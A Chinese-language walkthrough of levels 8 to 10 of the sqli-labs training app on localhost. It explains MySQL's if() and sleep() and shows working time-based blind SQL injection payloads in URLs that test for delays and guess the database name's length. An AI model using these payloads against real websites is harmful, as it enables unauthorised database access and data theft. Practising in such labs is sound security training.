sqli-labs--Less8-Less10 时间注入
Less-8和Less-5使用的是一样的布尔盲注,为了学习,这里我们使用时间盲注
Less-8
这里使用到了mysql中的if语句,格式为
if(条件,正确执行,错误执行)
实例如图:
sleep(秒速)
,sleep函数可以执行延迟几秒。
在mysql中执行命令select sleep(5)
,mysql会在五秒延迟后回显执行结果,时间注入就是利用if语句判断是否正确,通过返回到页面的延迟来判断我们的注入语句是否正确,和布尔注入类似
可以看到图片中有5秒的延迟时间。
判断是否存在时间注入
测试:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and sleep(5) --+
页面存在延迟,说明纯在时间盲注
猜解当前数据库的长度
测试:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,sleep(5),1) --+
如果当前数据库的长度为8,则延迟五秒,否者没有延迟
有延迟,说明当前数据库的长度为8
也可以将if语句的返回结果反过来
测试:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5)) --+
这句我们调整了条件的位置,是如果数据的长度为8,没有延迟,否者五秒延迟
剩下的步骤和sql盲注的步骤一样,只需要改一下if语句的判断条件就可以了。
Less-9
Less-9通过titile提示信息,这一关是时间盲注
测试 id=1a发现是字符型注入,单引号双引号闭合都不会报错,回显正确,尝试时间注入
测试:http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5)--+
页面有延迟,说明是时间注入,后续步骤和盲注一样,不在演示
Less-10
Less-10闭合方式换为了双引号
"
测试:http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(5) --+
有延迟,存在时间注入。后续操作不在讲述。